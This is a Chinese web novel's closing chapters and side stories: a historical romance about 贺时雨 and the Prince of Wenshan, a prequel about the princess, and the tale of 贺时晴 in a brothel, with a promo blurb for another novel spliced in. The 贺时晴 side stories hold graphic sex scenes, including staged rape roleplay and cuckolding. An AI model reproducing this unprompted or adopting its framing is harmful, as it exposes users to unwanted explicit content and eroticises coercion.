  小镇虽小,却有一处神秘的豪宅,豪宅有两位神秘的主人,镇民们都不知道她们的来历。
  豪宅主人显然早就接到了汶山王的拜帖,只见远远地,一位红裙美人正站在大门口迎接。
  虽然隔得远,但那女子身姿挺拔,体态昂扬,浑身上下散发着自信和气势,只是肤色看起来有些深。
  直到马车驶到门口,贺时雨都不敢接受事实。
  这位美人,不是云雨楼的楼主又是谁?
  贺时雨几乎晕了过去。
  云雨楼楼主施施然下跪行礼,拜见汶山王和贺时雨,又说了一堆客套感谢的话,感谢汶山王和公主给予的便利,对汉夷通商做出的努力,希望王爷帮忙问候公主,又夸了夸汶山王妃有勇有谋,远超一般汉人女子……贺时雨手心早就被汗浸湿了,那些客套话几乎一个字也没听进去,她只听进去一件事,楼主的爱人赵克早已在大堂恭候,备有茶水糕点侍奉……贺时雨木然地被汶山王牵着手,走进了豪宅里,她整个人都软了,要不是汶山王臂膀施力,她恐怕早就瘫了下去。
  大堂里,一人正毕恭毕敬地跪着,汶山王出声免礼,那人款款起立,扬起头,不卑不亢地正视着汶山王夫妇。
  “民女赵克,见过王爷,王妃。”
  声音还是那熟悉的,刻在脑海里的声音。温柔而低沉。
  脸还是那张脸,还是那一抹无悲无喜的轻笑。
  可眼前这挺拔削瘦的年轻人,穿着花样朴素却质料高贵的女装,仔仔细细梳着干练的发髻,她,是一名女子。
  “王爷,王妃,请用茶。”
  云雨楼楼主将茶碗递到了贺时雨面前,贺时雨才从无比震惊中回过神来,颤抖着接过茶碗。
  “禀王妃,那日我向您说过,我有一位心上人,让我心心念念,忘却一切诱惑,便是她了。”
  “你……你们……”贺时雨结结巴巴无法讲话。
  “王妃可是觉得我与赵克都是女子,竟然苟合,不顾人伦?”
  “我二人情投意合,如挚友,如知己,亦相知相爱,我爱她,她爱我,绝不输给世间任何一对男女。真心至重,是男是女又如何?王妃重情重义,有勇有谋,王妃的义举亦令我二人深深仰慕,想必王妃不会如那世上迂腐虚伪之人,视我二人如祸乱,如妖邪吧?”
  云雨楼楼主没有汉人那虚伪做作的一套,说起话来自信又直接,双目灼灼,尽是真情真意。赵克也望来一眼,二人心有灵犀,互握住对方的手,皆含笑看着贺时雨。
  贺时雨仍在震惊之中,脑海中久久回荡着那句“真心至重,是男是女又如何?”
  她仔仔细细想了一会,又想到自己早已不是清白之身,汶山王却从未过问一句,或流露出丝毫的介意,依然待她如初,待她如世间最难得的珍宝。
  她忽然茅塞顿开,亦露出真心的笑容,一行清泪顺着脸颊落下来,好似露珠落在玉盘上。
  “楼主所言甚是,问世间,能有何物比真心更贵重?若有真心,又何惧人情冷暖,艰难险阻?”
  云雨楼楼主和赵克大笑起来,连忙呼唤小厮端来美酒小菜,四人开怀畅饮,楼主讲了许多海外的有趣故事,汶山王大感有生之年,一定要携妻去海外见识一番。
  在回京的路上,二人临时起意,游览了许多名胜古迹,还微服参加了几次百姓的赶集庙会,好不快活,好不潇洒,神仙的日子也不过如此。
  在日后的许多年里,二人都经常旁若无人地手牵手,仿佛他们还是那一对年华正妙,人见人羡的爱侣。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

青青河边草 / 发表于: 2025/10/01 11:48:45

(七十八)汶山王的回忆(大结局)
  我第一次遇见雨儿的时候,是十年前陈庆都的寿宴。
  陈庆都调任川蜀,当监察御史,新官上任三把火,借着自己五十大寿的机会,宴请各路官员,皇亲国戚,我父王自然在内,那一年我十七岁,父王要求我随行,接触朝中大员和权贵。
  酒过三巡,宴席渐渐变了味道,一些夷人舞女上场助兴,开始做出很多挑逗的动作,很多官员消失去了别处,我自然明白个中苟且。
  我替父王连连挡酒,胃中翻江倒海,头痛欲裂,但面上还得强颜欢笑。我心中十分不喜的这样的风气,这样的场合,可那一年我只是个世子,见了谁都要点头拱手称长辈,我再不喜,又能如何呢?
  正在觥筹交错之时,我听到了一个小女孩奶声奶气的声音。
  原来是陈庆都的门生贺子光家的小女儿,也被带来寿宴,寿宴一开始,她就被扔到了女眷区,几个时辰见不到爹爹,小家伙就慌了,哭着找爹爹,奶娘怎么哄也哄不好,非要见一见爹爹才肯睡觉,这才被带进来。
  贺子光正在交际,哪里有心思哄自己的小女儿。他带女儿来,原本是女儿冰雪可爱,能博得各路贵女的喜爱,也算是打开门路,可他自己,对小孩子是没有什么耐心的。
  我见那小女孩挨训,心中灵光一闪,便站了起来,朝贺子光拱一拱手。
  贺子光受宠若惊,对我连称“世子见笑,世子见笑!”
  我道:“小侄刚好不胜酒力,欲至院中吹一吹风,散一散酒气,不妨由我带令嫒出去转转, 酒宴冗长,小孩子不习惯也是正常的。出去走走便好了。”
  贺子光一张脸堆满笑,连忙把小女孩推给我,教她跟我打招呼。
  小女孩怯怯地学舌,道:“小女,小女见过世子。”
  我哈哈一笑,牵起她的手,离开了这个乌烟瘴气的地方。
  我们走到了院子里,起初小女孩还比较紧张,可走着走着,离开了那些浓重的酒气和脂粉气,也渐渐活泼起来,蹦蹦跳跳,还要去够漂亮的花灯。
  我心中烦闷,一想到川蜀治下一团乱麻的现状,再看看那些脑满肠肥的官员,我怎么也高兴不起来。加上我酒喝得太多,实在不适,便故意走那些冷清的小路,想要离丝竹声和喧闹声远一些。
  我们走着走着,走到了一处灯火昏暗的地方。我忽然胃里一阵翻江倒海,我怕在小女孩面前吐,只好靠着一棵树坐下,强忍着恶心,对那小女孩说:“小妹妹,你去那从月季花里挑一朵最好看的,给我摘来。”
  她很高兴,连连点头,便跑开了。
  我稍稍松了口气,捏住自己的虎口,运气休整提神,总算把那阵恶心强压下来。
  不一会儿,小女孩手里举着一朵花,一边喊一边朝我跑过来:“世子!世子!最好看的花!我给世子摘来啦!”
  我强行站起身去迎她,可这一站坏事了,我刚一站起,就两眼一黑,仿佛被人在头上敲了一棍子,直直地栽了下去。
  我知道自己摔得很重,可是感觉不到疼。
  我只听到那小女孩惊呼一声,咚咚咚咚朝我跑过来,不断地摇晃我:“世子!世子!”
  我说不出话来。
  那小女孩的呼唤声已带哭腔,我只记得她最后一句话:“世子!那边有一处房子!我去叫人来救你。你等我,我马上带人来救你!”
  她的脚步声越来越远,我也彻底失去了知觉。
  等我醒来,已经是第二天中午了。
  我大吐特吐了一场,吐得手脚发软,在婢女小厮的服侍下沐浴更衣,喝了醒酒汤和姜茶,这才缓过劲来,去见父王。
  从父王口中得知,原来昨晚出了大事。
  我晕倒后,小女孩跑去了那处房子里找人救我,可是很倒霉,原来那处房子是陈庆都专门用来淫乱的地方,里面关押了很多夷人奴隶,总之小女孩不慎撞破了非常污秽不堪的事情,好几个官员正在行淫,被中途打断,陈庆都和他的同好们算是丢尽了脸,还被政敌抓住了把柄。
  第二天一早,小女孩就被政敌官员们揪去认人了。陈庆都非常拙劣地遮掩一番,还被迫把那夷人奴隶“送”给了小女孩当家奴。小女孩被贺子光好一番骂。贺家不敢再继续待下去,匆匆收拾一番就离开了。
  我听完,心中很是愧疚。脑海中不断出现那小女孩举着花朝我跑过来的样子,还有她一声声焦急的呼唤。她被我利用,只是为了能顺利离开酒席而已,结果为了救我,看到了一个孩子不该看到的事情。也不知她会被父亲怎样责罚。
  我恨不得亲自冲出去袒护她,解释清楚事情的原委,有什么事冲我来就好,欺负一个小女孩算什么?然而晚了,贺家已经走了。
  后来的很多年里,我都会想起这件事,想起那个小女孩,也不知她好不好?长大了多少?
  我父王去世那年,我去京城听封,继任汶山王。鬼使神差地,我去拜会了贺府,贺子光好一番巴结,见我问候贺小姐,甚至暗暗地提出了结亲的意思。
  我心中暗暗笑话自己。
  可也不知道为什么。仿佛冥冥中有一股力量在牵着我走。
  当公主以小皇帝的名义,写信给我,委婉地告知我应当是考虑联姻的时候时,我表示可以考虑贺氏。
  贺氏没落,并非京城热门的贵族,但贺小姐竟然和公主是童年好友,贺夫人和皇后娘娘也是闺中姐妹,公主竟然很高兴,告诉我这是一门好亲事。贺家没有实际权势,不至于被那些大臣弹劾我,忌惮我靠联姻增强势力,而贺小姐确实是难得的好姑娘,我若娶她,不会后悔。
  我相信我那公主堂妹的眼光,但我更觉得这是命运的安排。
  我正式递了拜帖,交换了生辰八字,和贺家订下了这门亲事。
  紧接着,川蜀大乱,我不得不出兵打仗。没想到阴差阳错,我的姻缘竟然会兜这么大一圈。
  这一仗盘根错节,牵出了朝中几大虎狼,远远比表面上的“西南夷之乱”要复杂,在被朝中奸臣几番暗算出卖之后,我不得不遣散汶山军,避免将士们全军覆没,而我则一路躲避追杀,一路以平民的身份,探听平时得不到的消息。这一段流亡很苦,我餐风露宿,只和几个秘密死士保持联系。
  在流亡之中,一个死士带给我惊人的消息,云南王在京郊的暗桩乌雕号,竟然就是十年前被陈庆都送给贺小姐的奴隶。
  一个念头击中了我,我觉得我的未婚妻一定在他的计划之中。事实正是如此,我在接近京城的路上,就已经得到传言,贺家女眷被山贼袭击奸杀,贺小姐是唯一的生还者。
  我便下了决心,去贺府潜伏。一来我确实需要一个在京城的歇脚点,一个不那么引人注目的歇脚点。二来我很想保护我的未婚妻。
  我也不知道为什么。
  直到我再见到她。
  那一眼,我明白了。
  这一切,都是早已注定的命运。
  (全书完)
  公主番外
  南宫公主司马飞烟第一次见到那个骨瘦如柴的少年,是在她十岁的生日宴上。
  钟鼓司精心编排了各类变文与舞蹈,世家女眷也纷纷进献上各类珍奇异宝,只为博公主一笑。但明艳若桃李的小公主只是端坐在上位,身着盛装华服,不笑也不动。
  明明说好,父皇要一起来给自己庆生的,但又被大臣们堵在了上书房……哼,好不开心!
  典礼行至一半,一群半大少年宦官上台表演刀舞,鼓点声声中,突然有一个少年的弯刀滑了出去,落在舞台上发出好大一声。
  舞台上的所有人立刻跪了下来,周围的世家女眷沉默一片,大气也不敢出。
  钟鼓司的管事立刻上前,跪下磕头:“殿下恕罪!殿下恕罪!”转头道:“还不将那小子拖下去杖毙!”
  南宫抬起眼,隔着人群,远远看向那瘦骨嶙峋的少年,那少年也抬起头,对上了她的眼睛,那双漆黑的眸子里,有愤怒,有不甘,有憎恶,却没有一丝一毫害怕,仿佛被困笼中的野兽。
  “且慢,”南宫公主面无表情道,看向匍匐在地的管事,“这里最大的是你,还是本宫?”
  管事磕头如捣葱:“奴才该死!奴才该死!自然是公主殿下!”
  “既然是本宫,本宫尚且未说要罚,你抢着做什么。”她看向那少年,“上前来。”
  那少年站起来,一步步走向主座上的少女,他瘦得惊人,一点都不好看,只有一双眼睛闪亮如明星。
  “为何弯刀会脱手?是平日疏于练习,还是气力不济?”
  那少年的一颗心狂跳起来,他明白这是自己最好的机会,粉身碎骨还是攀上高枝在此一搏,他猛地跪下:“请公主殿下明鉴,奴才是因为先挨了三十鞭,又被饿了两天,无力举刀,冲撞了殿下,罪该万死!”
  他的双手撑在地上,露出的皮肤上满是交错的伤痕,南宫轻轻皱眉:“为何要打你饿你?”
  那管事已经两股战战,汗如出浆:“公主殿下,公主殿下,这小子目无法纪,胡作非为,奴才只是略加惩戒……”
  公主皱眉道:“若是违反法纪,自有相应处置办法,你且说,他如何胡作非为?”
  管事一时大脑一片空白,在等级森严皇宫,黑暗的潜规则比比皆是,若是愿意塞钱的,会来事的,自然能得到上面的人高看一眼,安排去做些轻松的活,而这小子卖身入宫,身无分文,性格桀骜不羁,屡次下了管事的面子,不整他整谁?
  南宫公主虽然年纪尚幼,这些阴私的事情可听了不少,她冷笑一声,起身道:“回宫。”
  路过那管事时,她看也不看一眼,管事知道自己欺上瞒下的好日子是到头了,不禁两眼一翻,晕死过去。
  南宫走了几步,问那少年道:“你叫什么。”
  “奴才姓沈,”那少年仿佛有些羞怯,“名叫,名叫柱子,乡野小名,有辱公主视听。”
  南宫点头道:“确实上不了台面。以后,你就叫如意吧。”
  少年一愣,心中狂喜,连连磕头谢恩,他明白,这是公主愿意收下他了。
  沈如意进了清和宫,也不过是做些外院的粗使活儿,等闲是见不到那美丽而尊贵的少女的。但在清和宫的日子比在钟鼓司的不知道好了多少倍,饭食管饱,也没有人打骂他,他很快便像春日的嫩叶一样,抽枝长开了。
  刚开始是宫里的侍女们都对他特别好,时不时给他些糕点,后来有其他宫的侍女也慕名来看,离得远远地指指点点,还有的直接说,等你成年,就和姐姐做个对食吧。
  沈如意开始意识到自己的这幅皮相极为诱人,他便利用这个优势,在清和宫里左右逢源,如果运气好,他能在公主面前多露露脸,公主出嫁后担任驸马府的大管事,或者公主开恩,拨到一个油水肥厚的部门,到那时候他就已经算混出头了,可以在当年侮辱低视他的人面前好好趾高气扬一番。
  转折发生在公主十三岁的冬天,先皇病重,公主去城外林云寺祈福,却遭到一群黑衣人的伏击。
  “父皇说得果然不错,退潮了,下面的虾兵蟹将就露出来了。”南宫公主冷笑道,拔出腰间佩剑,掀开帘子出了马车,“不要慌!听本宫指令!”
  明丽的少女如火光燃烧,沈如意也拔出腰间佩刀,凭借在钟鼓司练出的身手,左突右闪,那一仗极为惨烈,但多亏公主早有准备,全歼黑衣人,并且还抓住了他们的头子。
  此事在朝堂引起了巨大的地震,先帝撑着病弱的身体,为幼子登基扫除最后的障碍,一口气或杀或贬,撸掉了几百名官员,提拔新人,设立了未来辅佐幼帝的班底。
  南宫公主摇头道:“父皇只道许彦鸿大公无私,大义灭亲,但一个能举报自己座师的人,又岂有忠诚可言……不过是个投机者罢了。”
  沈如意听着这些诡谲的朝堂风云,不禁暗恨自己的渺小,达官显贵们的手段比之乡野村夫只有更黑暗,更残酷,然而他们却可以穿着华丽的丝绸衣服,用金樽饮酒。这世间的公平道义又在哪里呢。
  “如意愿常伴公主左右。”
  公主却回头笑道,露出明媚的容颜:“本宫想要这天下安宁富庶,四海升平,如意要一直辅佐本宫才是。”
  他恭恭敬敬地俯首称是,掩去了眼中翻腾的情绪。
  先帝身边的掌印大太监传召他是,他是惊慌的,早就听说那位公公的手段,一见面果然名不虚传,即使什么话都不说,一双阴鹜的眸子仿佛能把对面的人剖心沥肝。
  “现下有一个机会,既能让你荣华富贵尊崇一生,也能让你坠入深渊遗臭万年,小子,你有没有这个胆?”老太监穿着华贵的三品内官服,慢悠悠地喝茶,他把茶盅放在红木茶几上,白瓷茶盅完好无损,茶几却碎成了千万片。
  他知道,有一个不能被提及名字的组织,直属皇帝,负责监视、侦查、镇压官吏的不法行为,巡查缉捕,权势滔天,但是没有想到,这股力量的所有者,就坐在他面前。
  “今上若是宾天,能承起这一份责任的,只有南宫公主了。”老太监一双浑浊的眼睛慢慢打量他,“你是要做一个成日在宫里伺候主子的下人,还是一人之下,万人之上的当权者?”
  沈如意抬头看他,眼睛里毫不掩饰的野心和欲望。
  老太监嘿嘿笑了:“小子,你根骨虽好,但年纪太大了,再怎么练,也不能跻身一流高手行列,咱家这有一本秘籍,能瞬间打通你的任督二脉,聚气丹田,再加上咱家的教导,你将会成为大内,甚至天下第一高手,但代价是——活不过三十岁。你可愿意?”
  沈如意几乎没有犹豫,叩头道:“宁为玉碎,不为瓦全!”
  贺时晴番外(上)
  话说贺时雨与汶山郡王成亲以后,即将启程回封地,特意去云雨楼找了贺时晴,两人虽然一同在贺府长大,但其实嫡庶有别,并不如何亲近,那一天说的话,倒仿佛比过去十几年还多。
  贺时雨劝贺时晴和她一起走:“我倒不是担心那些虚名,而是你在烟花之地待久了,男女之间只剩下交易,夫妻之间的亲密与爱护,你就很难体会得到了。”
  贺时晴不以为意,她想,让男人爱我还不容易吗,有什么难的。她明白这个姐姐其实性子想法都和自己差太多,勉强干涉也相处不长,不如各自安好,何况云雨楼楼主攀上了公主这棵大树,正是要飞黄腾达的时候,自己还能分一杯羹,便婉言谢绝了。两人依依惜别。
  贺时晴直接面见楼主的事,早就在云雨楼里传开了,怀璧虽然心中有些不高兴,却也明白和贺时晴搞好关系才最有利,贺时晴也投桃报李,一时两人相处极为融洽,梅笙看在眼里,气得暗暗咬牙。
  没过多久,有一名江南的富家公子上京赶考,姓柳名满扬,听说云雨楼大名,便来见识见识。他出手大方,长相又十分俊美斯文,一时间楼中姑娘纷纷为他倾倒,贺时晴以一对豪乳先征服了他,在床上把他弄得欲仙欲死,竟然不知道做爱还有这么多花样,旅舍也不住了,考试也不管了,干脆搬进了贺时晴的院子,两人像夫妻一般恩爱起来。
  日上三竿,柳满杨才悠然醒来,身边贺时晴不知道去了那里,他摸到一件袍子披了,懒洋洋走出卧房,便听到一阵水声,贺时晴好洁,专门命人在室内建了一个温泉池,引山上的泉水,加热后接到池内,里面还每天更换新鲜花瓣和药材,把她的肌肤养得莹洁如玉。
  柳满扬悄悄走了进去,门口是一个八折大屏风,挡住了后面的旖旎春色,他从屏风的缝隙中往里窥探,只见贺时晴赤身裸体,在温泉中沐浴,一双白嫩的玉手抚摸过自己雪白高耸的乳房,如樱桃般红艳的乳头,往下探去。蒸腾的蒸汽让她的小脸绯红,乌发湿漉漉地贴在面颊上,红唇中发出诱人的呻吟,仿佛正是畅快无比。
  柳满扬不小心碰到了屏风,贺时晴吓了一跳,背过身去,故意道:“哪里来的大胆狂徒,居然偷看奴家洗澡,好不知羞耻!”
  柳满扬笑道:“小姐不要害羞,小生偶然路过,一见小姐天人之姿,仰慕不已,敢问小姐可许了人家?”
  “许了,我未婚夫是江南柳家的公子,可是你这等狂徒可比。”
  “柳公子小生也算是熟悉,但是……据说他最近……”
  “他最近怎么了?”
  柳满扬道:“此事不能大声说,容小生悄悄告诉小姐。”
  贺时晴用双手捂着胸,娇声道:“好吧,你过来告诉我,不过你要是有什么其他的心思,人家可不依。”
  柳满扬几步走进,在池边蹲下来,凑到贺时晴耳边道:“那柳公子,最近被一个绝色佳人迷住了……”贺时晴嗔道:“怎样的绝色佳人,有我美吗?”
  “小生要摸一摸,才知道。”他也不等贺时晴反对,一双手捏住了她的乳房上下搓揉,“这奶子吗,倒是差不多大,又软又滑……”
  贺时晴咯咯笑着,一把把他拉下池子:“公子靠近点看。”柳满扬也顾不得浑身湿透,一把搂住她的细腰,摸她圆润的屁股:“这儿的也一样,又翘又肥,哈哈哈,还有个地方不知道一样不一样。”
  他摸进了她的两腿之间,茂密的阴毛中一条肉缝真一开一合,柳满扬用指腹来回拨弄:“水真多,黏黏的。”他的手指猝不及防地插入贺时晴的阴道,贺时晴嘤咛一声:“公子检查好了吗,我那未婚夫可就要来了。”
  “还有一样没有比,要用一样特殊的家伙才比得。”说罢他拉开袍子,里面原本便一丝不挂,粗黑的大屌已经勃起,他故意在贺时晴的阴唇处戳来戳去:“里面够不够紧,就要问我胯下这大家伙了。”
  贺时晴推他道:“公子不可……”柳满扬淫笑道:“不可什么?不可这样?还是不可这样?”说话间,他的大龟头已经插入了贺时晴的花穴,贺时晴娇呼一声:“公子进来了……不可以……好大……”
  柳满扬感受着那肉壁的滑腻,恨不得一插到底,干死这个骚浪的美人,嘴上道:“我的鸡巴和你的未婚夫比,哪个大?”
  贺时晴故意软绵绵地挣扎道:“公子不要这样……奴家的未婚夫马上就要来了……若是看到奴家被强奸,那可如何是好……”
  不知道为什么,柳满扬想象未婚妻在自己面前被别人强奸,大屌更是硬得厉害,他掰起贺时晴一条大腿,绕到自己腰间,挺身狠狠插入:“骚货,说什么被强奸,明明是你勾引别的男人,老子今天好好教训你!”粗大的鸡巴在柔嫩的花穴里快速抽插,贺时晴只觉得一股股酥麻直冲大脑:“啊……不是的……晴儿是被强奸的……公子轻点……”
  柳满扬让她趴在池边,翘起屁股,从背后狠干她,一边干一边打她白嫩肥美的屁股:“贱货!看你屁股翘那么高,被别的男人奸爽不爽!”
  “啊……不要……柳郎……柳郎快来救我……”贺时晴一边娇呼,一边摆动身体,让身后男人的大屌进得更深,次次戳到她的敏感点,带起全身一阵阵战栗,不多时,她觉得一股酸麻在下体炸开,立刻达到了高潮:“啊……晴儿到了……晴儿被强奸到高潮了……”
  柳满扬今天却特别兴奋,大屌丝毫没有疲软,依然一下下往里死戳:“你这淫娃荡妇!你未婚夫被你带了多少绿帽子,说!”
  “呜……晴儿是被迫的……”刚高潮过的身体敏感不已,贺时晴只觉得下半身都不是自己的,一波波巨大的快感吞没了她,她又高潮了一次,肉壁抽搐,热热的淫水喷到柳满扬的龟头上,柳满扬低吼一声,全部射在了她的阴道内。
  两人均觉得舒爽无比,自那天以后,更是出入成双,甜甜蜜蜜。反正柳满扬有钱,贺时晴也不接其他客了,就在云雨楼内吃喝玩乐,日子过得比神仙还舒服。有这样一个英俊又多金的豪客包养,别的姑娘看来,自然是羡慕嫉妒无比。
  贺时晴番外(下)
  过了一段时间,柳满扬想起那次假装别人强奸贺时晴,依然觉得回味无穷,如果真的是别人强奸贺时晴呢?光是这样想一想他便浑身激动,于是迫不及待地和贺时晴说,想真的找个人来奸她,他在柜子里偷看。贺时晴原本对他也有几分情意,听闻此话只觉得一盆冷水浇下,原来不管柳满扬如何甜言蜜语,如何一掷千金,对他来说,只是来找乐子的,自己不过是个寻欢作乐的工具。
  花钱买的,怎么会有感情呢。她心中暗恨自己这几天真是昏了头,一边转了笑脸道:“自然可以,柳郎想怎么玩,我去安排便是。”
  柳满扬两眼放光,连连称好,又拿出许多银子赏给她,贺时晴不客气地全部收下了。
  是夜,柳满扬先躲在贺时晴房中的柜子里,贺时晴假装一无所知,自顾自坐在梳妆台前卸妆,门上突然传来叩门声。贺时晴问:“谁呀?”
  外面一个汉子粗声粗气答道:“小的是护院王虎,刚才外院混进了贼人,我担心夫人,特来查看。”
  贺时晴道:“我这没有外人进来,不方便开门。”
  王虎劝道:“那贼人会飞檐走壁,夫人房中又有贵重金银首饰,还是让小的查看一番为好。”
  贺时晴只好去开了门,让王虎进来。那柳满扬从柜门缝中偷看王虎,只见他身高八尺,虎背熊腰,如一尊铁塔一般,贺时晴在他身边,像一个粉雕玉琢的娃娃,不禁心中瘙痒,恨不得让王虎快点干贺时晴。
  那王虎关上了门,一把抱住贺时晴:“夫人,小的仰慕你多时,今天柳老爷不在家,你就从了我,保证让你欲仙欲死!”
  贺时晴嗔怒道:“你……你这混蛋……快放开我,不然我喊人了!”
  王虎嘿嘿笑道:“夫人喊一喊试试?大晚上的,为什么放一个野男人进你房间?你乖乖让我弄一次,我就走,怎么样?”
  贺时晴又羞又气:“我相公很快就回来了……”
  王虎不管三七二十一,一把将她抱起来,摔到床上,抓住她两条大腿,一把分开,淫笑道:“来啊,让他看看自己娘子是怎么被人强奸的!”
  贺时晴两腿乱蹬,绣花鞋都被踢掉了,只留下两只穿着白袜的玉足,裙子滑了下去,露出雪白的大腿:“救命啊!相公,相公快来救我!晴儿要被强奸了……”
  柜子里的柳满扬心潮起伏,底下早就高高翘起,他看见王虎解了裤头,露出那杆紫红的大屌,想到这大屌马上要捅到自己女人的嫩逼里,简直兴奋得不能自己。
  “操,你这贱人,嘴上说不要,逼里流了那么多水,妈的,裤子都湿了,柳老爷满足不了你这骚货?嗯?”
  贺时晴挣扎道:“你……你乱说……我不能……不能对不起我相公。”
  王虎整个人挤进女人的双腿之间,一用力撕开了她的亵裤,那流着淫水的肉缝立刻出现在他眼前,他一挺腰,那大屌就插入了花穴,贺时晴惊喘一声,王虎将她两条腿抱起来,一左一右围在自己腰间,雄健的狗公腰前后挺动,狂干起来。
  “啊……不要……不要……啊……捅到花心了……好酸……”
  贺时晴只觉得肉穴深处的快感不断累积,马上就要攀上高峰,王虎却突然停了下来,淫笑道:“夫人觉得如何?小的可卖力?是小的鸡巴大,还是你相公的鸡巴大?”
  贺时晴下身的空虚简直要叫她发疯,她口中胡乱喊着:“虎哥的鸡巴大……干得晴儿好爽……好哥哥……快给晴儿……晴儿里面痒死了……”
  王虎低吼一声,立刻挺腰插入,紫黑的大屌在贺时晴雪白的大腿之间进进出出,带起一片淫靡的水声,极其香艳。
  柳满扬偷看这一幕,握住自己的鸡巴快速撸动。那王虎捅了百余下,同贺时晴一起双双高潮,他把鸡巴从贺时晴的肉穴里抽出来,一边撸动着一边射在她的小腹,奶子,甚至脸上,贺时晴张开樱桃小口接着,表情淫荡无比,最后还跪坐起来,将王虎的鸡巴上上下下舔了个干净:“嗯……虎哥的精液真腥,晴儿喜欢……都给晴儿吃……”柳满扬看着她这荡妇样,马眼一酸,立刻射了出来。
  此事过后,柳满扬玩上了瘾,贺时晴也依着他,时不时玩些绿帽奴的游戏。但好景不长,柳满扬口袋里的钱已经散了一大半,更兼即将参加科举,他还一页书都没看,于是不得不收心在屋里装出一副读书的样子。
  然而他吃喝玩乐惯了,又如何能静下心看书,没看几页便和贺时晴玩起来。要么就是他在书桌上写字,贺时晴在桌子下给他口交,要么就是他在外间假装看书,贺时晴在里屋被王虎王豹兄弟干得浪叫连连。最后结果自然是名落孙山。柳满扬心中烦闷,既然考不上,家里也不会支持他再留在京城,骄奢淫逸的日子眼看就要结束了。
  贺时晴看在眼里,心中愈发瞧不起他,既然柳满扬不介意被带绿帽子,之前的恩客她便又接起来,日日身上带着欢爱的痕迹。看在云雨楼众人的眼里,便道是两人要崩了。
  这日柳满扬心情不好,离开贺时晴的院子,在后花园闲逛,花园极大,曲径通幽,草木扶疏,他信步走着,却听见一阵哭声。
  他连忙走过去,只见一个十七八岁的美人,身形如弱柳扶风,穿着一件雪白的薄纱衫裙,暗自垂泪,怜香惜玉之心顿起,连忙上前问:“这位小姐,请问可是有什么伤心事?”
  那美人抬起头来,一张小脸真是楚楚动人,正是梅笙:“柳公子……”
  柳满扬一看美人知道自己名字,大喜过望,贺时晴那张脸即使再如花似玉,这些日子下来也看得有些厌了,正好又出现一个绝色佳人,他岂会放过这个机会?只是还不得不拘于读书人的面子,安慰道:“正是小生,请问小姐可有什么难处,小生一定全力相帮!”
  梅笙低头拭泪道:“奴家自小就在这勾栏院中,也不知道父母是谁,还要被一帮禽兽欺负……真的是生不如死……柳公子是大户人家出身,天之骄子,不会懂我们这些卑贱的小人物的。”
  柳满扬连忙问:“谁欺负你?我去替你讨个公道!”
  梅笙一下拉开衣襟,露出雪白的皮肉,但那原本莹洁如玉的肌肤上,都是青青紫紫的伤痕:“昨天……接了一个客人……把奴家弄成这样……又抠又咬又拧……还说奴家的皮肉嫩……呜呜呜……”
  柳满扬看着那痕迹一路往下,消失在乳沟里,不禁想象这美妙的胴体被男人糟蹋成了什么样子,心中欲念大起,假意道:“我那有上好的金疮药,你和我去,我给你敷上。”
  梅笙摇头道:“奴家不去……奴家虽然命苦,也不是个傻的,公子无非看上奴家的身体,想玩弄一番罢了……这伤治不治,又有什么区别呢?奴家已经下定决心,再也不叫男人碰我!饿死就饿死了吧!那样也比被玩死在床上,更有几分脸面!”
  柳满扬被戳中心思,有些尴尬,更多的是对这女子刮目相看,忍不住雄性保护本能爆发,拍胸脯道:“有我在,谁敢碰你!小姐请放心,柳某不是那等禽兽,这里有些银票,你先拿着,去寻个好大夫。”
  梅笙再三推辞不过,只好收了,向柳满扬盈盈一拜,飘然而去。柳满扬满心自己做了好事,救了一朵尘世中的白莲花的成就感,满足地回去了。
  过不了几日,那梅笙专门乘贺时晴不在的时候,带着自己绣的荷包来感谢柳满扬,不经意间露出自己被绣花针扎得伤痕累累的手指,柳满扬不禁想,那贺时晴也就床上功夫好,这么多天,净是好吃懒做,要钱买这买那,自己的身家大半散在她身上,真是荡妇本色,天生的下贱胚子,哪比的上梅笙,真是出淤泥而不染。
  又过几天便是中秋,梅笙特意在自己院子里设了宴,亲手做了几个小菜,请了柳满扬。两人正喝着酒,梅笙看着天上的月亮,突然流下泪来:“也不知道奴家这辈子,还能不能有个知心人,再为他生几个孩子……奴家这具身子早就脏了,又有谁看得上呢?”
  柳满扬一时酒精上脑,拍胸脯道:“梅笙,我柳某人娶你!”
  梅笙难以置信道:“真的吗?柳公子,可是,奴家出身贫贱……”
  柳满扬看着月下梅笙那清丽的脸,不禁冲动道:“我们去……去你妈妈那里!告诉她!你以后,就是我的人了!”说罢拉着梅笙就走,找到怀璧,怀璧正在大厅中迎来送往,他干脆当着云雨楼所有姑娘和客人的面,醉醺醺地宣布要娶梅笙为妾。云雨楼里立刻一片欢腾,所有人看热闹不怕事大,撺掇柳满扬今晚就和梅笙圆房。
  柳满扬早就把贺时晴忘到了脑后,但亦有好事的丫鬟跑去告诉贺时晴,梅笙抢了她的男人,而且还抢先一步,说动那人娶她做小,江南柳家家大业大,梅笙是要享福去了。
  谁料贺时晴只是冷笑一声,什么也没干,继续陪她的恩客喝酒。底下大厅里一片欢乐祥和,媒人也来了,纳妾文书也写了,柳满扬晕头晕脑地画了押,便和梅笙合了交杯酒,被簇拥着送进房间,梅笙简直要喜极而泣,她自己都没料到如此顺利,从此算是出了娼门,以后是江南巨富柳家的妾了!真是一步登天!洛晴儿那个贱人,凭什么和她比!
  红烛下,梅笙双颊绯红,更如同娇花一般动人,她拭泪道:“相公,虽然梅笙早已不是完璧之身,但从此以后,梅笙从身到心,都只属于相公一人……还请相公,好好疼爱梅笙……”
  柳满扬早就欲火焚身,扑上前去,将她推倒在床上,双手揉着那对挺翘圆润的乳房:“娘子放心,相公今天就好好干你,把你肚子干大,给我们生十个八个孩子……”
  梅笙嗔道:“瞎说什么呢,十个八个……我不成母猪了……”柳满扬笑嘻嘻道:“小母猪,你就是我的小母猪……小母猪把屁股翘起来,让相公好好操一操……”
  两人颠鸾倒凤一夜,第二天,梅笙便被一顶轿子抬走,从此飞黄腾达去了。云雨楼的姑娘们有的羡慕有的嫉妒有的不屑,但都以为贺时晴忍不下这口气,必然要大闹一场,谁知道左等右等贺时晴也没什么动作,就像不认识柳满扬和梅笙一样。很快大家又八卦起其他事情,贺时晴也照旧在欢场混得风生水起,只有怀璧心疼梅笙这棵摇钱树没了。
  谁知道一年后,梅笙突然出现在云雨楼门口,整个人憔悴了十岁不止,布衣荆钗,哪里还有当年名妓的样子。
